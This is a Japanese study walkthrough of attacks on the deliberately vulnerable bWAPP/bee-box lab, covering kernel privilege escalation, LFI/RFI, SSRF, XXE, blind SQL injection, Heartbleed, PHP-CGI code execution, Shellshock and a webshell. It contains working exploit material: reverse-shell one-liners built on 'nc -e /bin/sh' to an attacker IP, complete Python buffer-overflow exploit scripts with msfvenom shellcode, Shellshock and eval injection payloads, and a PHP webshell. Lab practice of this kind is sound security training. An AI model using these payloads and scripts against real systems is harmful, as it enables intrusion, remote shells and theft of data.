ができるかどうか確認すると、PUTが表示されていない。なんでだろう?
参考文献:
Introduction to HTTP PUT Method
Scanning HTTP PUT Method (Nikto)
Exploiting PUT Method Using Cadaver
Exploiting PUT Method Using Nmap
Exploiting PUT Method Using Poster
Exploiting PUT Method Using Metasploit
Exploiting PUT Method Using Burpsuite
Exploiting PUT Method Using Curl
の方法が詳しく載っている
https://www.hackingarticles.in/multiple-ways-to-exploiting-put-method/
Local Privilege Escalation (sendpage)
とりあえずまずユーザ権限のShellを奪取する
python -c 'import pty; pty.spawn("/bin/sh")'
でshellをアップグレード
下のLocal Privilege Escalationを参考にする
kakyouim.hatenablog.com
まずは、LinEnum.shなどのEnumコードで情報収集する
以下の有益な情報が得られた
sudo
コマンドにSUIDビットが立っているため、一般ユーザーでもsudoが使用可能である
今、user=bee,password=bugのユーザーが存在するため、そっちに切り替えてsu rootをすればRootになれる
perl Linux_Exploit_Suggester.pl
でExploitを探す
また、得られたKernelのバージョンから有効なExploitをsearchsploit
でも探す
searchsploitで探すときには、正しいExploitを探すというよりは、明らかに動かないExploitを排除していって残ったものが正常に動くExploitであると考えています
以下の方法で絞り込みを行う
- Linux kernel で2.6(今回は2.6.24)
- Local Privilege
- OSが32bit(i686とあるため)
- 標的の環境ではRubyは動かないので.rbを排除
< 2.6.1
を省く
ここまですればある程度目で見れるくらいに絞れる。あとは、
- Ubuntuで8.04じゃないやつ(10.10とか)
等、矛盾するものを排除していく
注意点
- Grep は標準出力されたものの中で検索するのでsearchsploitの結果が隠れている場合はそれも省いてしまう。(Esca で途切れている場合など注意)
- Ubuntuで絞るのは早すぎる。Ubuntuと書かれていないものもある
- 一個ずつ消すときは、ファイル名で消す
- 2.xみたいなのを消さないように気を付ける
今回絞れるだけ絞った結果が以下である
searchsploit "Privilege" -e | grep "linux kernel" -i | grep -e "2.6" -e "2.x" | grep -v "64/" | grep -v "< 2.6.1" | grep -v "Linux Kernel 2.6.3" | grep -v "< 2.6.7" | grep -e "<" -e ">" -e "/2." -e "2.x" | grep -v "42276" | grep -v "160.c" | grep -v "Bluetooth" -i | grep -v "< 2.6.22" | grep -v "< 2.6.24.1" | grep -v "2.6.17" | grep -v Process | grep -v "10.10" | grep -v "10.04" | grep -v ".rb" | grep -v "145.c" | grep -v "samba" -i | grep -v "2.4.0-test" | grep -v "Android" | grep -v "3.c" | grep -v "Ubuntu 12.04"
この結果とperl Linux_Exploit_Suggester.pl
の結果にsendpage
が含まれているため試してみる
9435
を試すと、以下のようにrootになれた!
Local Privilege Escalation (udev)
先ほど得られたsearchsploitの結果の中でUbuntuで絞ってみると、以下のようになる
udevadm --version
でudevが脆弱なバージョンかどうか確認すると、117となっているため脆弱であることがわかる
41886.c
には以下のようにこのバージョンが脆弱であることが書いてある
8572.c
には以下のようにExploitの手順が書かれているため、その通りに実行してみる
どうやら/tmp/runファイルに実行したいシェルスクリプトを書いておけば、それをroot権限で実行するようです
vimで以下のファイルを作成する。この際、itest^[:wq!
みたいに書くと、testというファイルが作成される(^[
はEscape)
./8572 2530
を実行して、Kali側でnc -lvp 4445
を実行すると以下のようにrootのShellがつながった!
ちなみに、/tmp/run
に以下のように/bin/bash
としてもrootのシェルは立ち上がらなかった。なんでだろう?
ここで少してこずってしまったので、
"cve-2009-1185" AND "exploit" AND "linux" AND "kernel" AND "2.6."
みたいに絞り込んでGoogleで同じバージョンでExploitを検証してないかどうか確認するのがよさそう
ちなみに、dirty c0w
のExploitも試してみる
成功している!
他にもいろいろあるかもしれないですね
注意
dirtycow
を試したら必ずpasswdファイルを復元してください。
自分は復元忘れてて次回起動時にバグって再度入れなおす羽目になりました
Old, Backup & Unreferenced Files
どうやら、ここに載っているファイルがWebサーバ上でアクセスできるようになっており、ブルートフォースでそういう重要なファイルを見つけてくださいということのようです
wfuzz -w /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt --filter "c=200" http://192.168.56.33/bWAPP/FUZZ
等を試してみます
/usr/share/dirb/wordlists/common.txt
/usr/share/wfuzz/wordlist/vulns/cgis.txt
/usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt
/usr/share/SecLists/Discovery/Web-Content/quickhits.txt
あたりが使えそう??
Robots File
robots.txtでは、主にクローラーの制限を行う際に活用します。
例えば、User-Agentでクローラーの種類を指定して、その指定したクローラーが特定のファイルをクロールしないように、DisallowでファイルのURLパスを指定します。
なので、ここにDisallowとなっているディレクトリには重要な情報が含まれている可能性があるので見る価値あり
ちなみに、
wfuzz -w /usr/share/SecLists/Discovery/Web-Content/common.txt --filter "c=200" http://192.168.56.33/bWAPP/FUZZ/
ですべてのディレクトリをブルートフォースで確認できます
最後にFUZZ/
のように/
を入れるとディレクトリを探索、FUZZ
のように/
を入れないとファイルを探索する
A6 - Sensitive Data Exposure
Base64 Encoding (Secret)
- low
secretがURLEncode+Base64Encodeされてました
- medium,high
SHA1ハッシュ化されてました
BEAST/CRIME/BREACH
HTTPSの通信バージョンに脆弱性があるようですが詳しいことは何もわかりません
sslscan --no-failed --version 192.168.56.33:9443
nmap -v -v --script ssl-cert,ssl-enum-ciphers -p 9443 192.168.56.33
sslyze --regular --hide_rejected_ciphers 192.168.56.33:9443
AVAILABLE PLUGINS ----------------- SessionResumptionPlugin CompressionPlugin OpenSslCipherSuitesPlugin FallbackScsvPlugin CertificateInfoPlugin HttpHeadersPlugin RobotPlugin EarlyDataPlugin HeartbleedPlugin OpenSslCcsInjectionPlugin SessionRenegotiationPlugin CHECKING HOST(S) AVAILABILITY ----------------------------- 192.168.56.33:9443 => 192.168.56.33 SCAN RESULTS FOR 192.168.56.33:9443 - 192.168.56.33 --------------------------------------------------- * OpenSSL CCS Injection: OK - Not vulnerable to OpenSSL CCS injection * TLS 1.2 Session Resumption Support: With Session IDs: OK - Supported (5 successful, 0 failed, 0 errors, 5 total attempts). With TLS Tickets: OK - Supported * Session Renegotiation: Client-initiated Renegotiation: VULNERABLE - Server honors client-initiated renegotiations Secure Renegotiation: OK - Supported * SSLV2 Cipher Suites: Forward Secrecy INSECURE - Not Supported RC4 INSECURE - Supported Preferred: None - Server followed client cipher suite preference. Accepted: SSL_CK_RC4_128_WITH_MD5 128 bits SSL_CK_RC4_128_EXPORT40_WITH_MD5 40 bits SSL_CK_RC2_128_CBC_WITH_MD5 128 bits SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5 40 bits SSL_CK_DES_64_CBC_WITH_MD5 56 bits SSL_CK_DES_192_EDE3_CBC_WITH_MD5 112 bits * TLSV1_3 Cipher Suites: Server rejected all cipher suites. * Deflate Compression: VULNERABLE - Server supports Deflate compression * TLSV1_2 Cipher Suites: Server rejected all cipher suites. * TLSV1_1 Cipher Suites: Server rejected all cipher suites. * Certificate Information: Content SHA1 Fingerprint: ae5fb7be864a78e168318fc1c96a4bd242c4e6c3 Common Name: bee-box.bwapp.local Issuer: bee-box.bwapp.local Serial Number: 15617680085524193115 Not Before: 2013-04-14 18:11:32 Not After: 2018-04-13 18:11:32 Signature Algorithm: sha1 Public Key Algorithm: RSA Key Size: 1024 Exponent: 65537 (0x10001) DNS Subject Alternative Names: [] Trust Hostname Validation: FAILED - Certificate does NOT match 192.168.56.33 Android CA Store (9.0.0_r9): FAILED - Certificate is NOT Trusted: self signed certificate Apple CA Store (iOS 12, macOS 10.14, watchOS 5, and tvOS 12):FAILED - Certificate is NOT Trusted: self signed certificate Java CA Store (jdk-12.0.1): FAILED - Certificate is NOT Trusted: self signed certificate Mozilla CA Store (2019-03-14): FAILED - Certificate is NOT Trusted: self signed certificate Windows CA Store (2019-05-27): FAILED - Certificate is NOT Trusted: self signed certificate Symantec 2018 Deprecation: OK - Not a Symantec-issued certificate Received Chain: bee-box.bwapp.local Verified Chain: ERROR - Could not build verified chain (certificate untrusted?) Received Chain Contains Anchor: ERROR - Could not build verified chain (certificate untrusted?) Received Chain Order: OK - Order is valid Verified Chain contains SHA1: ERROR - Could not build verified chain (certificate untrusted?) Extensions OCSP Must-Staple: NOT SUPPORTED - Extension not found Certificate Transparency: NOT SUPPORTED - Extension not found OCSP Stapling NOT SUPPORTED - Server did not send back an OCSP response * TLSV1 Cipher Suites: Forward Secrecy INSECURE - Not Supported RC4 INSECURE - Supported Preferred: None - Server followed client cipher suite preference. Accepted: TLS_RSA_WITH_RC4_128_SHA 128 bits TLS_RSA_WITH_RC4_128_MD5 128 bits TLS_RSA_WITH_DES_CBC_SHA 56 bits TLS_RSA_WITH_AES_256_CBC_SHA 256 bits TLS_RSA_WITH_AES_128_CBC_SHA 128 bits TLS_RSA_WITH_3DES_EDE_CBC_SHA 112 bits * Downgrade Attacks: TLS_FALLBACK_SCSV: VULNERABLE - Signaling cipher suite not supported * SSLV3 Cipher Suites: Forward Secrecy INSECURE - Not Supported RC4 INSECURE - Supported Preferred: None - Server followed client cipher suite preference. Accepted: TLS_RSA_WITH_RC4_128_SHA 128 bits TLS_RSA_WITH_RC4_128_MD5 128 bits TLS_RSA_WITH_DES_CBC_SHA 56 bits TLS_RSA_WITH_AES_256_CBC_SHA 256 bits TLS_RSA_WITH_AES_128_CBC_SHA 128 bits TLS_RSA_WITH_3DES_EDE_CBC_SHA 112 bits * OpenSSL Heartbleed: OK - Not vulnerable to Heartbleed * ROBOT Attack: OK - Not vulnerable SCAN COMPLETED IN 15.45 S -------------------------
./o-saft.pl +check -v 192.168.56.33:9443
./o-saft.pl +info -v 192.168.56.33:9443
./o-saft.pl +quick -v 192.168.56.33:9443
./o-saft.pl +cipher -v 192.168.56.33:9443
./o-saft.pl +cipherall -v 192.168.56.33:9443
./o-saft.tcl
./testssl.sh -U 192.168.56.33:9443
########################################################### testssl.sh 3.1dev from https://testssl.sh/dev/ (6da6335 2020-02-08 10:32:46 -- ) This program is free software. Distribution and modification under GPLv2 permitted. USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK! Please file bugs @ https://testssl.sh/bugs/ ########################################################### Using "OpenSSL 1.0.2-chacha (1.0.2k-dev)" [~179 ciphers] on kali:./bin/openssl.Linux.x86_64 (built: "Jan 18 17:12:17 2019", platform: "linux-x86_64") Start 2020-02-09 11:50:19 -->> 192.168.56.33:9443 (192.168.56.33) <<-- rDNS (192.168.56.33): -- Service detected: HTTP Testing vulnerabilities Heartbleed (CVE-2014-0160) not vulnerable (OK), no heartbeat extension CCS (CVE-2014-0224) VULNERABLE (NOT ok) Ticketbleed (CVE-2016-9244), experiment. not vulnerable (OK), session IDs were returned but potential memory fragments do not differ ROBOT not vulnerable (OK) Secure Renegotiation (RFC 5746) supported (OK) Secure Client-Initiated Renegotiation VULNERABLE (NOT ok), DoS threat CRIME, TLS (CVE-2012-4929) VULNERABLE (NOT ok) BREACH (CVE-2013-3587) potentially NOT ok, uses gzip HTTP compression. - only supplied "/" tested Can be ignored for static pages or if no secrets in the page POODLE, SSL (CVE-2014-3566) VULNERABLE (NOT ok), uses SSLv3+CBC (check TLS_FALLBACK_SCSV mitigation below) TLS_FALLBACK_SCSV (RFC 7507) Downgrade attack prevention NOT supported and vulnerable to POODLE SSL SWEET32 (CVE-2016-2183, CVE-2016-6329) VULNERABLE, uses 64 bit block ciphers for SSLv2 and above FREAK (CVE-2015-0204) VULNERABLE (NOT ok), uses EXPORT RSA ciphers DROWN (CVE-2016-0800, CVE-2016-0703) VULNERABLE (NOT ok), SSLv2 offered with 6 ciphers Make sure you don't use this certificate elsewhere, see: https://censys.io/ipv4?q=FF29B36FCC813AE5B2100D985E692A612DE6F15570374320F85B43076CF08163 LOGJAM (CVE-2015-4000), experimental not vulnerable (OK): no DH EXPORT ciphers, no DH key detected with <= TLS 1.2 BEAST (CVE-2011-3389) SSL3: AES256-SHA AES128-SHA DES-CBC3-SHA DES-CBC-SHA TLS1: AES256-SHA AES128-SHA DES-CBC3-SHA DES-CBC-SHA VULNERABLE -- and no higher protocols as mitigation supported LUCKY13 (CVE-2013-0169), experimental potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches RC4 (CVE-2013-2566, CVE-2015-2808) VULNERABLE (NOT ok): RC4-SHA RC4-MD5 RC4-MD5 EXP-RC4-MD5 Done 2020-02-09 11:50:56 [ 41s] -->> 192.168.56.33:9443 (192.168.56.33) <<--
要するに、暗号化が脆弱ってことかな?(なんもわからん)
A7 - Missing Functional Level Access Control
Directory Traversal – Directories
- low
documents
となっているところを書き換える
- medium
directory_traversal_2.php?directory=file://
のように書く
Directory Traversal – Files
- low
directory_traversal_1.php?page=../../../etc/passwd
- Medium
directory_traversal_1.php?page=file:///etc/passwd
SQLiteManager Local File Inclusion
searchsploit sqlite | grep 1.2
Remote & Local File Inclusion (RFI/LFI)
- low
rlfi.php?language=lang_en.php&action=go
となっており、PHPファイルをIncludeしていることがわかる
rlfi.php?language=../../../../etc/passwd&action=go
で成功!
- medium
同じことをすると以下のerror
rlfi.php?language=../../../../etc/passwd%00&action=go
%00
のヌルバイトを入れる
<?php if(isset($_GET["language"])) { if($_COOKIE["security_level"] == "2") { if(in_array($language, $available_languages)) include($language); } else { include($language); } } ?>
if(isset($_GET["language"]))
{
switch($_COOKIE["security_level"])
{
case "0" :
$language = $_GET["language"];
break;
case "1" :
$language = $_GET["language"] . ".php";
break;
case "2" :
$available_languages = array("lang_en.php", "lang_fr.php", "lang_nl.php");
$language = $_GET["language"] . ".php";
// $language = rlfi_check_1($language);
break;
default :
$language = $_GET["language"];
break;
}
}
Server Side Request Forgery (SSRF)
RFIを用いたSSRFは前の問題のページを使う
ssrf-1.txt
をダウンロードする
(ssrf-1.php
というファイル名で保存してRFIしたが成功しなかった。なぜだ?)
<?php /* bWAPP, or a buggy web application, is a free and open source deliberately insecure web application. It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities. bWAPP covers all major known web vulnerabilities, including all risks from the OWASP Top 10 project! It is for educational purposes only. Enjoy! Malik Mesellem Twitter: @MME_IT © 2013 MME BVBA. All rights reserved. */ echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>"; if(isset($_REQUEST["ip"])) { //list of port numbers to scan $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306); $results = array(); foreach($ports as $port) { if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1)) { $results[$port] = true; fclose($pf); } else { $results[$port] = false; } } foreach($results as $port=>$val) { $prot = getservbyport($port,"tcp"); echo "Port $port ($prot): "; if($val) { echo "<span style=\"color:green\">OK</span><br/>"; } else { echo "<span style=\"color:red\">Inaccessible</span><br/>"; } } } ?>
rlfi.php?ip=192.168.56.5&language=http://192.168.56.5/share/ssrf-1.txt&action=go
bWAPPアプリケーションからしか見えないようなネットワーク上のホストに対してポートスキャンができている!(今回はKaliをポートスキャンしているが)
XXEiを用いたSSRFは次の問題のページを使う
次に記す
XML External Entity Attacks (XXE)
Burpでリクエストの内容を確認するとXMLがPOSTされている
POST /bWAPP/xxe-2.php HTTP/1.1 Host: 192.168.56.33 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.56.33/bWAPP/xxe-1.php Content-type: text/xml; charset=UTF-8 Content-Length: 59 Connection: close Cookie: security_level=0; PHPSESSID=f9ff717d145019ee9534c77dbf15fcf7 <reset><login>bee</login><secret>Any bugs?</secret></reset>
BurpのXMLの欄で、POSTの内容を以下に書き換える
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt"> ]> <reset><login>&bWAPP;</login><secret>blah</secret></reset>
成功している!
ソースコードは以下の通り
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2") { ini_set("display_errors",1); $xml = simplexml_load_string($body); // Debugging // print_r($xml); $login = $xml->login; $secret = $xml->secret; if($login && $login != "" && $secret) { // $login = mysqli_real_escape_string($link, $login); // $secret = mysqli_real_escape_string($link, $secret); $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'"; // Debugging // echo $sql; $recordset = $link->query($sql); if(!$recordset) { die("Connect Error: " . $link->error); } $message = $login . "'s secret has been reset!"; } else { $message = "An error occured!"; } } // If the security level is MEDIUM or HIGH else { // Disables XML external entities. Doesn't work with older PHP versions! // libxml_disable_entity_loader(true); $xml = simplexml_load_string($body); // Debugging // print_r($xml); $login = $_SESSION["login"]; $secret = $xml->secret; if($secret) { $secret = mysqli_real_escape_string($link, $secret); $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'"; // Debugging // echo $sql; $recordset = $link->query($sql); if(!$recordset) { die("Connect Error: " . $link->error); } $message = $login . "'s secret has been reset!"; } else { $message = "An error occured!"; } }
Mediumでは表示するものはSESSION[]からとってきているため、ファイルがみられることはない。
ソースコードを見る限り、lowではsecret
でBlind SQLInjetionが可能に見えるので試す
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
で成功!
また、XXEiで表示するコンテンツに<
が含まれる場合、XML構文が終了してしまうためそのよう場合には、
php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml
としてBase64エンコードする
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml"> ]> <reset><login>&bWAPP;</login><secret>blah</secret></reset>
また、CVE-2013-4890により、bWAPPアプリケーションを使ってDOS攻撃ができる
参考文献
[https://canyoupwn.me/tr-xml-external-entity-xxe/?cf_chl_jschl_tk=9cba495907f43e11adaca79edd901008cd761095-1581331599-0-AeVtOLQ7W1iFzYapK2sPvn1o9dzyzq9IcRv1TYcc05_e5Y6p5orP8NftJV2UYW_7Kyr9U7WnOWNZCSCA92Q7nU3rNyTo3GUO-Y4s07Yrymqu3MY_knZQjIBeIgAcAxl1xxc7wMVWIpP0gM4UrTcFRDePtXqqeEpdameHnsY7_7G9ZwcYpMlu4uH3YFqpa7FxyRq2wQARUpA8oYyXU98JhP6cpM-fM-nHjdyi01Gy31QqqwllhgNB51IOP9SJ2yAA6Lt852gsMNle8rOL51ACKrxVDmwdaLeNKT3468skykdGWJM9elFsE5wJg6aG-dnJTQ]
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
A9 - Using Known Vulnerable Components
Buffer Overflow (Local)
lowではOSコマンドインジェクションができる
POSTの値を以下にするとシェルが得られた
title=$(nc -e /bin/sh 192.168.56.5 4444)&action=search
BOFの調査をしていく。対象のファイルはbWAPP/apps/movie_search
なので先ほど得られたシェルからgdb
などでデバッグする
まずは、EIPが入力文字列の何文字目かを調査する
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
gdb --args ./movie_search "今の文字列”
EIP
には0x41386c41
が代入されている!
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41386c41
これで、EIPを任意のアドレスにJMPさせることが可能になった。
次は、そのJMP先を自分で作成するペイロードなどにに設定する
radare2 ./movie_search
で何かほかにJMPさせられそうな関数はないか調べる。
今回はなかった
gdb上でペイロード送信後にespに代入されているアドレスに格納されている値を確認すると、19Am
となっており、このオフセットを確認すると、358である
したがって、358文字目からespが指すアドレスに格納されており、ここからペイロードを開始して、EIPにjmp esp
を指定すればペイロードを実行できそうである
"A"*354 + "jmp esp" + "payload"
が今回のExploitコードである
objdump -D -M intel movie_search | grep jmp | grep esp
次にmsfvenom
を用いてペイロードを作成する
payload=linux/x86/exec
, encoders=x86/opt_sub
を指定する
標準のEncoderはshikata_ga_naiだが、それでうまく行かない場合(bad charactersが\x00以外にもある場合?)は別のエンコーダーを使用する必要がある。
sudo msfvenom -p linux/x86/exec CMD=/bin/ps -b '\x00' -e x86/opt_sub -f raw > payload.txt
cat payload.txt
このペイロードをURLエンコードする
(echo -n \'; cat payload.txt; echo -n \';) | perl -pe's/(.)/sprintf("%%%02X",ord($1))/seg'
(echo -n \'; cat payload.txt; echo -n \';)でcat
の結果の前後に'
を挿入して次のコマンドの入力とする
s/(.)で文字列を一バイトずつ$1に送信。
/でその文字列を置換する.
sprintf("%%%02X",ord($1))でPerlでURLエンコード.
seg 一連の正規表現フラグ
ここで、'
を挿入している理由は、
$output = shell_exec('/bin/sh /path/to/hoge.sh "'.$arg.'"')
と書くのが正常だが、ソースコードでは
echo shell_exec("./apps/movie_search " . $title);
となっているため、’’
が必要だった。
こうして得られたペイロードを使用してExploitを作成する
ちなみに、msfvenomでpython形式で出力してURLエンコードしてもできる
use linux/x86/exec set CMD /bin/ps generate -b '\x00' -e x86/opt_sub -f py
pythonで正しくURLエンコードするには、
b"\x8f\x92\x04\x08"
とする必要がある
'\x8f\x92\x04\x08'
("\x8f\x92\x04\x08")
ではだめだった
import urllib.parse junk = "A"*354 ret2 = b"\x8f\x92\x04\x08" buf = b"" buf += b"\x54\x58\x2d\x05\xfd\xfd\xfd\x2d\x01\x01\x01\x01\x2d" buf += b"\x01\x01\x01\x01\x50\x5c\x25\x01\x01\x01\x01\x25\x02" buf += b"\x02\x02\x02\x2d\x75\x1c\x30\x7d\x2d\x01\x01\x01\x01" buf += b"\x2d\x01\x01\x01\x01\x50\x2d\x14\xdf\x74\x2b\x2d\x01" buf += b"\x01\x01\x01\x2d\x01\x01\x01\x01\x50\x2d\x08\x90\x25" buf += b"\xe1\x2d\x01\x01\x01\x01\x2d\x01\x01\x01\x01\x50\x2d" buf += b"\x67\x6c\xfe\x0b\x2d\x01\x01\x01\x01\x2d\x01\x01\x01" buf += b"\x01\x50\x2d\xac\x15\x24\x60\x2d\x01\x01\x01\x01\x2d" buf += b"\x01\x01\x01\x01\x50\x2d\xe7\x77\x7d\x1a\x2d\x01\x01" buf += b"\x01\x01\x2d\x01\x01\x01\x01\x50\x2d\x67\x04\x58\x7f" buf += b"\x2d\x01\x01\x01\x01\x2d\x01\x01\x01\x01\x50\x2d\x96" buf += b"\x36\xba\xf7\x2d\x01\x01\x01\x01\x2d\x01\x01\x01\x01" buf += b"\x50\x2d\x39\xca\xe7\x7e\x2d\x01\x01\x01\x01\x2d\x01" buf += b"\x01\x01\x01\x50\x2d\x92\x0e\x21\x7d\x2d\x01\x01\x01" buf += b"\x01\x2d\x01\x01\x01\x01\x50\x2d\x07\xe6\x58\x0e\x2d" buf += b"\x01\x01\x01\x01\x2d\x01\x01\x01\x01\x50" print(urllib.parse.quote("'" + junk) + urllib.parse.quote(ret2) + urllib.parse.quote(buf) + "'")
Buffer Overflow (Remote)
nmap -p1-1024 192.168.56.33 -T5
666ポートが対象のポートである
localと同様にExploitする。ペイロードとして、
linux/x86/shell/reverse_tcp
を使用してみる
use linux/x86/shell/reverse_tcp set LHOST 192.168.56.5 generate -b '\x00' -f py
以上より、Exploitは以下の通りである
import sys import socket host = "192.168.56.33" port = 666 junk = b"A" * 354 ret_addr = b"\xa7\x8f\x04\x08" nop = b"\x90" * 16 buf = b"" buf += b"\xda\xca\xd9\x74\x24\xf4\x5a\x33\xc9\xb8\x0f\x55\x1c" buf += b"\xa3\xb1\x1f\x31\x42\x1a\x03\x42\x1a\x83\xc2\x04\xe2" buf += b"\xfa\x3f\x16\xfd\x35\x1b\xd1\xe2\x66\xd8\x4d\x8f\x8a" buf += b"\x6e\x17\xc6\x6b\x43\x58\x4f\x30\x34\x99\xd8\xfe\xc1" buf += b"\x71\x1b\xfe\xd8\xdd\x92\x1f\xb0\xbb\xfc\x8f\x14\x13" buf += b"\x74\xce\xd4\x56\x06\x95\x1b\x11\x1e\xdb\xef\xdf\x48" buf += b"\x41\x0f\x20\x89\xdd\x7a\x20\xe3\xd8\xf3\xc3\xc2\x2b" buf += b"\xce\x84\xa0\x6b\xa8\x39\x41\x4c\xf9\x45\x2f\x92\xed" buf += b"\x49\x4f\x1b\xee\x8b\xa4\x17\x30\xe8\x37\x97\xcf\x22" buf += b"\xc7\x52\xef\xc5\xd8\x07\x79\xd4\x40\x05\x5d\xa7\x70" buf += b"\xa4\x1e\x42\xb6\x4e\x1d\xb2\xd6\x16\x20\x4c\x19\x66" buf += b"\x98\x4d\x19\x66\xde\x80\x99" print("Sending payload....") s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect = s.connect((host,port)) s.send(junk + ret_addr + nop + buf) s.close()
これを実行すると、4444ポートでリバースシェルが得られた!
また、linux/x86/shell_bind_tcp
でも試してみる
use linux/x86/shell_bind_tcp set RHOST 192.168.56.33 generate -b '\x00' -f py
このペイロードは標的でポートを開けて、そこにncで接続することでシェルを得る
nc 192.168.56.33 4444
不完全なシェルが得られている
実行できるものもあれば正常にできてないものもある
これでもできる
Heartbleed Vulnerability
- low
OpenSSLとは、オープンソースの暗号ソフトウェアライブラリで、サーバー などがSSL/TLSと呼ばれる暗号方式を利用するために使用される
OpenSSLは、ApacheやNginxといったウェブサーバーに使われており、他に もSSL通信を行うアプリケーションなどに広く使われている
Heart bleedの脆弱性は、ペイロードを送信することでWebサーバーのメモリの一部を取得できるらしい。 sslscan --no-failed --version 192.168.56.33:8443
なぜかHeart Bleedを検出できていない
./o-saft.tcl
./testssl.sh -U 192.168.56.33:8443
nmap --script ssl-heartbleed -sV -p 8443 192.168.56.33
/usr/share/exploitdb/exploits/multiple/remote/32745.py
searchsploitの結果、これを使用してみる
/usr/share/exploitdb/exploits/multiple/remote/32745.py 192.168.56.33 -p 8443
メモリの一部が読み取れている!
msfconsole> use auxiliary/scanner/ssl/openssl_heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed set RHOSTS 192.168.56.33 set RPORT 8443 set verbose true exploit
参考文献
https://www.symantec.com/content/ja/jp/enterprise/images/outbreak/Heartbleed_vulnerability.pdf
https://net123.tistory.com/547
PHP CGI Remote Code Execution
リンク先に移動してみると、以下のページになる。
PHPコードの実行方法にはModule方式とCGI方式の二つある。
- Module方式 Module方式では、apacheなどのWEBサーバに組み込まれているmodule (mod_phpなど)がPHPコードを外部実行する。
- CGI方式 CGI方式では、PHPコードや引数を引き渡したphp-cgiを外部実行する。
一般的なものはこれ。apache mod_phpの実行権限でphpが動作するためPHPコードによって権限を分けることができない。
今回はcgi
という文字が見える通りCGI方式である
phpinfo.php?-s
というリクエストは、-sオプション(スクリプトソースを表示)と解釈され、PHPスクリプトを実行する代わりに、ソースを表示する
POST /bWAPP/admin/phpinfo.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input
として、POSTデータを以下に書き換えると行けた!
<?php readfile('/etc/passwd'); ?>
allow_url_include=On
-dオプションを用いて、php.iniのディレクティブを外部から指定する。auto_prepend_file=php://input
includeするファイルをURL指定でリモートから読み出すことを許可して、PHP実行に先立ち、スクリプトをincludeしておく。<?php readfile('/etc/passwd'); ?>
ファイル名としてphp://inputを指定しているため、POSTパラメータとして送信した内容をPHPスクリプトとして実行する。
ちなみに、
nikto -h http://192.168.56.33/bWAPP/admin/
でこの脆弱性を発見できている!
参考文献
https://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html
https://www.fumi.org/neta/201205sv.html
PHP Eval Function
<?php @eval($_REQUEST["eval"]); ?>
php_eval.php?eval=system('cat /etc/passwd');
で成功!
eval=phpinfo();
eval=;echo exec('id');
eval=;echo exec(id);
eval=;exec(‘nc -e /bin/sh 192.168.56.5 4444’);
でも成功!
execを実行結果を表示するにはechoが必要だが、systemでは必要ない(っぽい)
phpMyAdmin BBCode Tag XSS
/phpmyadmin/error.php?type=This+is+a+client+side+hole+evidence&error=Client+side+attack+via+characters+injection[br]It's+possible+use+some+special+tags+too[br]Found+by+Tiger+Security+Tiger+Team+-+[a%40http://www.tigersecurity.it%40_self]This Is a Link[%2Fa]このような悪意のあるリンクを含んだページをXSSを用いて挿入できる
参考文献
https://www.exploit-db.com/exploits/15699
Shellshock Vulnerability (CGI)
/bWAPP/cgi-bin/shellshock.sh
にアクセスするとこのスクリプトが実行されるようです
Referer: () { :;};echo;/bin/echo "shell shock"
()
と{:;}
の間にスペース必要!!!!
以下のペイロードでも成功!
Referer: () { :;};echo;echo "shell shock"
Referer: () { :;};echo "ssssss" $(/bin/sh -c "nc -e /bin/bash 192.168.56.5 4444")
User-Agent: () { :;};echo -e "\r\nKNLIwpKiKTCa0nEHWEmc9Iquq"
metasploitでも成功!
metasploitではUserAgentを使って攻撃しています!
use exploit/multi/http/apache_mod_cgi_bash_env_exec set RHOSTS 192.168.56.33 set targeturi /bWAPP/cgi-bin/shellshock.sh exploit
参考文献
https://net123.tistory.com/551
https://null-byte.wonderhowto.com/how-to/exploit-shellshock-web-server-using-metasploit-0186084/
SQLiteManager PHP Code Injection
python2 /usr/share/exploitdb/exploits/multiple/webapps/24320.py http://192.168.56.33/sqlite/
で、リモートからデータベースを作成してPHPコードを挿入できる
データーベースファイルの拡張子を.php
にしておいて、そのデータベースにVauleとしてPHPコードを記述すれば、データベースファイルがPHPコードとして実行される。
通常は、データベースファイルは.sqlite3
などの拡張子となる。
上記Exploitが成功すると、phpinfo
というデーターベースが作成される
database fileのあるパスにアクセスすると、database fileに記述された<?php phpinfo() ?>
をPHPコードとして実行し、phpinfo()
の実行結果が表示されている
同様のことを手動でも確認する
database fileをshell5.php
という名前で作成する
CREATE TABLE inject_table(codetab text); INSERT INTO inject_table VALUES('<?php system($_GET['cmd']); ?>');をSQLで実行しようとしてみる
すると、以下のようなエラー
phpinfo()
に書き換えるとうまく行くdatabase fileのパスを[option]から確認
このパスにアクセスしてみると、
phpinfo()
の実行結果が表示されている!次に、この
phpinfo()
を編集してWebshellを設置する以下のように編集する
先ほどと同じパスにアクセスするとWebshellが動いている!
Other bugs
Information Disclosure – Favicon
Information Disclosure – Headers
Insecure iFrame (Login Form)
ソースコードは以下
